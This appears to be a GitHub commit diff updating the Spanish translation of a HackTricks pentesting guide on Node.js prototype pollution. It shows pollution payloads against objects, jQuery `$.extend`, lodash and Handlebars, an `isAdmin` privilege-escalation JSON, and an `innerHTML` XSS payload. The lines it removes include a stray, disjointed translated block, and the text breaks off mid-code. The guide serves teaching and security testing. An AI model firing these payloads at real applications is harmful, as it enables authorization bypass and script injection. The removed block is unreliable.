mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
This commit is contained in:
parent
bf25e8bbe8
commit
89a1b82bec
22 changed files with 1612 additions and 1791 deletions
|
@ -1,96 +1,55 @@
|
|||
# NodeJS - \_\_proto\_\_ y la contaminación del prototipo
|
||||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Objetos en JavaScript <a href="#053a" id="053a"></a>
|
||||
|
||||
En primer lugar, necesitamos entender `Object` en JavaScript. Un objeto es simplemente una colección de pares de clave y valor, a menudo llamados propiedades de ese objeto. Por ejemplo:
|
||||
Primero que nada, necesitamos entender `Object` en JavaScript. Un objeto es simplemente una colección de pares de clave y valor, a menudo llamados propiedades de ese objeto. Por ejemplo:
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
En JavaScript, `Object` es un objeto básico, la plantilla para todos los objetos recién creados. Es posible crear un objeto vacío pasando `null` a `Object.create`. Sin embargo, el objeto recién creado también tendrá un tipo que corresponde al parámetro pasado y hereda todas las propiedades básicas.
|
||||
En Javascript, `Object` es un objeto básico, la plantilla para todos los objetos recién creados. Es posible crear un objeto vacío pasando `null` a `Object.create`. Sin embargo, el objeto recién creado también tendrá un tipo que corresponde al parámetro pasado y hereda todas las propiedades básicas.
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
|
||||
Anteriormente aprendimos que un objeto en javascript es una colección de claves y valores, por lo que tiene sentido que un objeto `null` sea simplemente un diccionario vacío: `{}`.
|
||||
Anteriormente aprendimos que un Objeto en javascript es una colección de claves y valores, por lo que tiene sentido que un objeto `null` sea solo un diccionario vacío: `{}`
|
||||
|
||||
## Funciones / Clases en Javascript <a href="#55dd" id="55dd"></a>
|
||||
|
||||
En Javascript, los conceptos de clase y función están bastante interrelacionados (la función en sí actúa como el constructor de la clase y la naturaleza real no tiene concepto de "clase" en javascript). Veamos el siguiente ejemplo:
|
||||
En Javascript, los conceptos de clase y función están bastante interrelacionados (la función misma actúa como el constructor de la clase y la naturaleza real no tiene concepto de "clase" en javascript). Veamos el siguiente ejemplo:
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
}
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
}
|
||||
}
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (361).png>)
|
||||
|
||||
# Deserialización de JavaScript en Node.js - Polución de prototipos
|
||||
|
||||
## Descripción
|
||||
|
||||
La polución de prototipos es una vulnerabilidad que afecta a los lenguajes de programación basados en prototipos. En JavaScript, todos los objetos tienen un prototipo y los objetos heredan propiedades y métodos de su prototipo. La polución de prototipos ocurre cuando se modifica el prototipo de un objeto para agregar propiedades maliciosas que pueden ser utilizadas para obtener acceso no autorizado a datos o funcionalidades.
|
||||
|
||||
En Node.js, la polución de prototipos puede ocurrir cuando se deserializan objetos JSON utilizando la función `JSON.parse()`. Si el objeto JSON contiene propiedades maliciosas que modifican el prototipo de un objeto, estas propiedades pueden ser utilizadas para llevar a cabo ataques de inyección de código o de denegación de servicio.
|
||||
|
||||
## Prerrequisitos
|
||||
|
||||
- Node.js instalado en su sistema
|
||||
- Conocimiento básico de JavaScript y JSON
|
||||
|
||||
## Instalación
|
||||
|
||||
1. Clonar el repositorio: `git clone https://github.com/dsopas/prototype-pollution-nodejs.git`
|
||||
2. Instalar las dependencias: `npm install`
|
||||
|
||||
## Uso
|
||||
|
||||
1. Ejecutar el servidor: `npm start`
|
||||
2. Enviar una solicitud POST a `http://localhost:3000/parse` con un objeto JSON en el cuerpo de la solicitud. El objeto JSON debe contener una propiedad `__proto__` que modifique el prototipo de un objeto. Por ejemplo:
|
||||
|
||||
```json
|
||||
{
|
||||
"__proto__": {
|
||||
"isAdmin": true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
3. El servidor devolverá el objeto JSON deserializado. Si el objeto JSON contiene una propiedad `isAdmin` que no debería estar presente, esto indica que la polución de prototipos ha ocurrido con éxito.
|
||||
|
||||
## Demostración
|
||||
|
||||
[![asciicast](https://asciinema.org/a/336256.svg)](https://asciinema.org/a/336256)
|
||||
|
||||
## Mitigación
|
||||
|
||||
Para mitigar la polución de prototipos en Node.js, se recomienda utilizar una biblioteca de deserialización segura, como `secure-json-parse` o `json-safe-parse`. Estas bibliotecas evitan la polución de prototipos al analizar el objeto JSON y eliminar cualquier propiedad que modifique el prototipo de un objeto.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [OWASP - Prototype Pollution](https://owasp.org/www-community/attacks/Prototype_Pollution)
|
||||
- [Node.js Security Checklist - Prototype Pollution](https://blog.risingstack.com/node-js-security-checklist/#prototype-pollution)
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
```markdown
|
||||
![](<../../../.gitbook/assets/image (362).png>)
|
||||
|
||||
## Prototipos en JavaScript <a href="#3843" id="3843"></a>
|
||||
|
||||
Una cosa a tener en cuenta es que el atributo de prototipo puede ser cambiado/modificado/eliminado al ejecutar el código. Por ejemplo, las funciones de la clase pueden ser añadidas dinámicamente:
|
||||
Es importante notar que el atributo prototype puede ser cambiado/modificado/eliminado al ejecutar el código. Por ejemplo, funciones a la clase pueden ser añadidas dinámicamente:
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
|
@ -102,32 +61,33 @@ Las funciones de la clase también pueden ser modificadas (como `toString` o `va
|
|||
|
||||
## Herencia
|
||||
|
||||
En un programa basado en prototipos, los objetos heredan propiedades/métodos de las clases. Las clases se derivan añadiendo propiedades/métodos a una instancia de otra clase o añadiéndolos a un objeto vacío.
|
||||
En un programa basado en prototipos, los objetos heredan propiedades/métodos de clases. Las clases se derivan añadiendo propiedades/métodos a una instancia de otra clase o añadiéndolos a un objeto vacío.
|
||||
|
||||
Tenga en cuenta que, si se añade una propiedad a un objeto que se utiliza como prototipo para un conjunto de objetos (como el myPersonObj), los objetos para los que es el prototipo también obtienen la nueva propiedad, pero esa propiedad no se imprime a menos que se llame específicamente.
|
||||
Nota que, si añades una propiedad a un objeto que se usa como prototipo para un conjunto de objetos (como el myPersonObj), los objetos para los cuales es prototipo también obtienen la nueva propiedad, pero esa propiedad no se imprime a menos que se llame específicamente.
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
|
||||
## Polución de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
## Contaminación de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
Ya debería haber aprendido que **cada objeto en JavaScript es simplemente una colección de pares clave y valor** y que **cada objeto hereda del tipo Object en JavaScript**. Esto significa que si se puede contaminar el tipo Object, **¡cada objeto JavaScript del entorno va a estar contaminado!**
|
||||
Ya deberías haber aprendido que **cada objeto en JavaScript es simplemente una colección de pares clave y valor** y que **cada objeto hereda del tipo Object en JavaScript**. Esto significa que si puedes contaminar el tipo Object **¡cada objeto JavaScript del entorno va a estar contaminado!**
|
||||
|
||||
Esto es bastante simple, sólo se necesita ser capaz de modificar algunas propiedades (pares clave-valor) de un objeto JavaScript arbitrario, porque como cada objeto hereda de Object, cada objeto puede acceder al esquema de Object.
|
||||
Esto es bastante simple, solo necesitas ser capaz de modificar algunas propiedades (pares clave-valor) de un objeto JavaScript arbitrario, porque como cada objeto hereda de Object, cada objeto puede acceder al esquema de Object.
|
||||
```
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
A partir del ejemplo anterior, es posible acceder a la estructura de un objeto utilizando las siguientes formas:
|
||||
Del ejemplo anterior es posible acceder a la estructura de Object utilizando las siguientes formas:
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
Como se mencionó anteriormente, si ahora se agrega una propiedad al esquema del objeto, todos los objetos de JavaScript tendrán acceso a la nueva propiedad:
|
||||
Entonces, como se mencionó anteriormente, si ahora se agrega una propiedad al esquema Object, cada objeto JavaScript tendrá acceso a la nueva propiedad:
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
|
@ -137,16 +97,16 @@ person1.printHello() //This now works and prints hello
|
|||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
Entonces, cada objeto JS contendrá las nuevas propiedades: la función `printHello` y la nueva constante `globalconstant`.
|
||||
Así que ahora cada objeto JS contendrá las nuevas propiedades: la función `printHello` y la nueva constante `globalconstant`
|
||||
|
||||
## Polución de prototipos
|
||||
## contaminación de prototipos
|
||||
|
||||
Esta técnica no es tan efectiva como la anterior, ya que no se puede contaminar el esquema del objeto JS. Pero en casos donde la **palabra clave `__proto__` está prohibida, esta técnica puede ser útil**.
|
||||
Esta técnica no es tan efectiva como la anterior ya que no puedes contaminar el esquema del Objeto JS. Pero en casos donde la **palabra clave `__proto__` esté prohibida, esta técnica puede ser útil**.
|
||||
|
||||
Si puede modificar las propiedades de una función, puede modificar la propiedad `prototype` de la función y **cada nueva propiedad que agregue aquí será heredada por cada objeto creado a partir de esa función:**
|
||||
Si puedes modificar las propiedades de una función, puedes modificar la propiedad `prototype` de la función y **cada nueva propiedad que añadas aquí será heredada por cada objeto creado a partir de esa función:**
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
|
@ -160,11 +120,11 @@ person1.newConstant //This now works and is "true"
|
|||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
En este caso solo los **objetos creados a partir de la clase `person`** se verán afectados, pero cada uno de ellos heredará las propiedades `sayHello` y `newConstant`.
|
||||
En este caso, solo los **objetos creados a partir de la clase `person`** se verán afectados, pero cada uno de ellos ahora **heredará las propiedades `sayHello` y `newConstant`**.
|
||||
|
||||
Hay 2 formas de abusar de la contaminación del prototipo para envenenar CADA objeto JS.
|
||||
**Hay 2 maneras de abusar de la contaminación de prototipos para envenenar CADA objeto de JS.**
|
||||
|
||||
La primera sería contaminar el prototipo de propiedad de **Object** (como se mencionó anteriormente, cada objeto JS hereda de este):
|
||||
La primera sería contaminar la propiedad prototype de **Object** (como se mencionó antes, cada objeto de JS hereda de este):
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
|
@ -179,32 +139,32 @@ Después de ejecutar ese código, **cada objeto JS podrá ejecutar la función `
|
|||
|
||||
## Contaminando otros objetos
|
||||
|
||||
### Desde una clase a Object.prototype
|
||||
### De una clase a Object.prototype
|
||||
|
||||
En un escenario donde puedes **contaminar un objeto específico** y necesitas **llegar a `Object.prototype`**, puedes buscarlo con algo como el siguiente código:
|
||||
En un escenario donde puedas **contaminar un objeto específico** y necesites **llegar a `Object.prototype`**, puedes buscarlo con un código como el siguiente:
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
// Search from "window" object
|
||||
for(let key of Object.getOwnPropertyNames(window)) {
|
||||
if (window[key]?.constructor.prototype === Object.prototype) {
|
||||
console.log(key)
|
||||
}
|
||||
if (window[key]?.constructor.prototype === Object.prototype) {
|
||||
console.log(key)
|
||||
}
|
||||
}
|
||||
|
||||
// Imagine that the original object was document.querySelector('a')
|
||||
// With this code you could find some attributes to get the object "window" from that one
|
||||
for(let key1 in document.querySelector('a')) {
|
||||
for(let key2 in document.querySelector('a')[key1]) {
|
||||
if (document.querySelector('a')[key1][key2] === window) {
|
||||
console.log(key1 + "." + key2)
|
||||
}
|
||||
}
|
||||
for(let key2 in document.querySelector('a')[key1]) {
|
||||
if (document.querySelector('a')[key1][key2] === window) {
|
||||
console.log(key1 + "." + key2)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Contaminación de elementos de un array
|
||||
### Contaminación de elementos de array
|
||||
|
||||
Tenga en cuenta que, al igual que puede contaminar atributos de objetos en JS, si tiene acceso para contaminar un array, también puede **contaminar los valores del array** accesibles **por índices** (tenga en cuenta que no puede sobrescribir valores, por lo que debe contaminar índices que se usan de alguna manera pero no se escriben).
|
||||
Ten en cuenta que, así como puedes contaminar atributos de objetos en JS, si tienes acceso para contaminar un array también puedes **contaminar valores del array** accesibles **por índices** (ten en cuenta que no puedes sobrescribir valores, por lo que necesitas contaminar índices que de alguna manera se usen pero no se escriban).
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -216,7 +176,7 @@ c[1] // 2 -- not
|
|||
```
|
||||
### Contaminación de elementos HTML
|
||||
|
||||
Al generar un elemento HTML a través de JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario**. [Idea y ejemplo de este artículo](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Al generar un elemento HTML mediante JS, es posible **sobrescribir** el atributo **`innerHTML`** para hacer que escriba **código HTML arbitrario.** [Idea y ejemplo de este informe](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -235,21 +195,23 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
### Ejemplo Básico
|
||||
|
||||
¿Dónde está la contaminación del prototipo? Ocurre cuando hay un error en la aplicación que permite sobrescribir propiedades de `Object.prototype`. Dado que cada objeto típico hereda sus propiedades de `Object.prototype`, podemos cambiar el comportamiento de la aplicación. El ejemplo más comúnmente mostrado es el siguiente:
|
||||
¿Dónde ocurre la contaminación del prototipo? Sucede cuando hay un error en la aplicación que permite sobrescribir propiedades de `Object.prototype`. Dado que cada objeto típico hereda sus propiedades de `Object.prototype`, podemos cambiar el comportamiento de la aplicación. El ejemplo más comúnmente mostrado es el siguiente:
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
Imagina que tenemos una contaminación de prototipos que hace posible establecer `Object.prototype.isAdmin = true`. Entonces, a menos que la aplicación asigne explícitamente algún valor, ¡`user.isAdmin` siempre es verdadero!
|
||||
Imagina que tenemos una contaminación de prototipos que hace posible establecer `Object.prototype.isAdmin = true`. Entonces, a menos que la aplicación haya asignado explícitamente algún valor, `user.isAdmin` ¡siempre es verdadero!
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
|
||||
Por ejemplo, `obj[a][b] = value`. Si el atacante puede controlar el valor de `a` y `value`, entonces solo necesita ajustar el valor de `a` a `__proto__` (en javascript, `obj["__proto__"]` y `obj.__proto__` son completamente equivalentes) entonces la propiedad `b` de todos los objetos existentes en la aplicación se asignará a `value`.
|
||||
|
||||
Sin embargo, el ataque no es tan simple como el anterior, según [el documento](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), solo podemos atacar cuando se cumple una de las siguientes tres condiciones:
|
||||
Sin embargo, el ataque no es tan simple como el anterior, según [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), solo podemos atacar cuando se cumple una de las siguientes tres condiciones:
|
||||
|
||||
* Realizar una fusión recursiva
|
||||
* Definición de propiedad por ruta
|
||||
* Clonar objeto
|
||||
|
||||
### Anulación de función
|
||||
### Sobrescribir función
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
|
@ -259,38 +221,38 @@ customer.__proto__.toString = ()=>{alert("polluted")}
|
|||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Proto Pollution del lado del cliente a XSS
|
||||
## Prototype pollution en cliente a XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Ataque de Proto Pollution a través de jQuery $ .extend
|
||||
### CVE-2019–11358: Ataque de prototype pollution a través de jQuery $ .extend
|
||||
|
||||
$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la aplicación). Esta propiedad luego aparecerá en todos los objetos. Tenga en cuenta que solo la versión "profunda" (es decir, g) de $ .extened se ve afectada.
|
||||
$ .extend, si se maneja incorrectamente, puede cambiar las propiedades del objeto `prototype` (la plantilla de los objetos en la app). Este atributo aparecerá luego en todos los objetos. Note que solo la versión "profunda" (es decir, g) de $ .extend está afectada.
|
||||
|
||||
Los programadores a menudo usan esta función para duplicar un objeto o completar nuevas propiedades a partir de un objeto predeterminado. Por ejemplo:
|
||||
|
||||
Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la base de datos.
|
||||
Podemos imaginar que `myObject` es un campo de entrada del usuario y se serializa en la DB)
|
||||
|
||||
En este código, a menudo pensamos que, al ejecutarlo, se asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente verificación:
|
||||
En este código, a menudo pensamos que, al ejecutarse, asignará el atributo `isAdmin` al objeto recién creado. Pero esencialmente, se asigna directamente a `{}` y luego `{}.isAdmin` será `true`. Si después de este código, realizamos la siguiente comprobación:
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
Si el usuario aún no existe (`undefined`), se buscará la propiedad `isAdmin` en su objeto padre, que es el objeto al que se le agregó `isAdmin` con el valor `true` anteriormente.
|
||||
Si el usuario aún no existe (`undefined`), la propiedad `isAdmin` se buscará en su objeto padre, que es el Objeto al que se le añadió `isAdmin` con el valor `true` arriba.
|
||||
|
||||
Otro ejemplo cuando se ejecuta en JQuery 3.3.1:
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a los proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca JS que ayuda a manipular MongoDB, en diciembre de 2018.
|
||||
Estos errores pueden afectar a muchos proyectos de Javascript, especialmente a proyectos de NodeJS, el ejemplo más práctico es el error en Mongoose, la biblioteca de JS que ayuda a manipular MongoDB, en diciembre de 2018.
|
||||
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de polución de prototipos a través de lodash
|
||||
### CVE-2018–3721, CVE-2019–10744: Ataque de contaminación de prototipos a través de lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca bien conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) es también una biblioteca conocida que proporciona muchas funciones diferentes, ayudándonos a escribir código de manera más conveniente y ordenada con más de 19 millones de descargas semanales. Y tuvo el mismo problema que JQuery.
|
||||
|
||||
**CVE-2018–3721**
|
||||
|
||||
|
@ -302,145 +264,143 @@ Este error afecta a todas las versiones de Lodash, ya corregido en la versión 4
|
|||
|
||||
{% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %}
|
||||
|
||||
## Polución de prototipos AST
|
||||
## Contaminación de prototipos AST
|
||||
|
||||
En NodeJS, AST se utiliza en JS con mucha frecuencia, como motores de plantillas y typescript, etc.\
|
||||
Para el motor de plantillas, la estructura es como se muestra arriba.
|
||||
En NodeJS, AST se usa en JS realmente a menudo, como motores de plantillas y typescript, etc.\
|
||||
Para el motor de plantillas, la estructura se muestra arriba.
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_3.jpg)
|
||||
![img](https://blog.p6.is/img/2020/08/graph_3.jpg)
|
||||
|
||||
### Handlebars
|
||||
|
||||
Información tomada de [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
Puede insertar cualquier cadena en `Object.prototype.pendingContent` para determinar la posibilidad de un ataque.\
|
||||
Esto le permite estar seguro de que los servidores están utilizando el motor de Handlebars cuando existe una polución de prototipos en un entorno de caja negra.
|
||||
Puedes insertar cualquier cadena en `Object.prototype.pendingContent` para determinar la posibilidad de un ataque.\
|
||||
Esto te permite estar seguro de que los servidores están utilizando el motor handlebars cuando existe una contaminación de prototipos en un entorno de caja negra.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
|
||||
this.pendingContent = content;
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
Esto se realiza mediante la función `appendContent` de `javascript-compiler.js`. `appendContent` es así. Si `pendingContent` está presente, se agrega al contenido y se devuelve.
|
||||
|
||||
`pushSource` hace que `pendingContent` sea `undefined`, evitando que la cadena se inserte varias veces.
|
||||
|
||||
**Explotación**
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_5.jpg)
|
||||
|
||||
Handlebars funciona como se muestra en el gráfico anterior.
|
||||
|
||||
Después de que el lexer y el parser generan AST, se pasa a `compiler.js`. Podemos ejecutar la función de plantilla que el compilador generó con algunos argumentos. Y devuelve la cadena como "Hello posix" (cuando msg es posix).
|
||||
Después de que el lexer y el parser generan el AST, se pasa a `compiler.js`\
|
||||
Podemos ejecutar la función de plantilla que el compilador generó con algunos argumentos. y devuelve una cadena como "Hola posix" (cuando msg es posix)
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
El analizador en handlebars fuerza el valor de un nodo cuyo tipo es NumberLiteral a ser siempre un número a través del constructor Number. Sin embargo, puedes insertar una cadena no numérica aquí usando la contaminación de prototipos.
|
||||
El analizador en handlebars fuerza el valor de un nodo cuyo tipo es NumberLiteral para que siempre sea un número a través del constructor Number. Sin embargo, puedes insertar una cadena no numérica aquí utilizando la contaminación de prototipos.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
Primero, observa la función de compilación, la cual admite dos formas de entrada, un objeto AST y una cadena de plantilla.
|
||||
Primero, observa la función compile, la cual soporta dos formas de entrada, Objeto AST y cadena de plantilla.
|
||||
|
||||
Cuando el tipo de entrada es `Program`, aunque el valor de entrada es una cadena, el analizador lo considera como si ya hubiera sido analizado por parser.js y lo envía al compilador sin ningún procesamiento adicional.
|
||||
cuando input.type es un `Program`, aunque el valor de entrada es en realidad una cadena.\
|
||||
El Parser considera que ya es un AST analizado por parser.js y lo envía al compilador sin ningún procesamiento.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
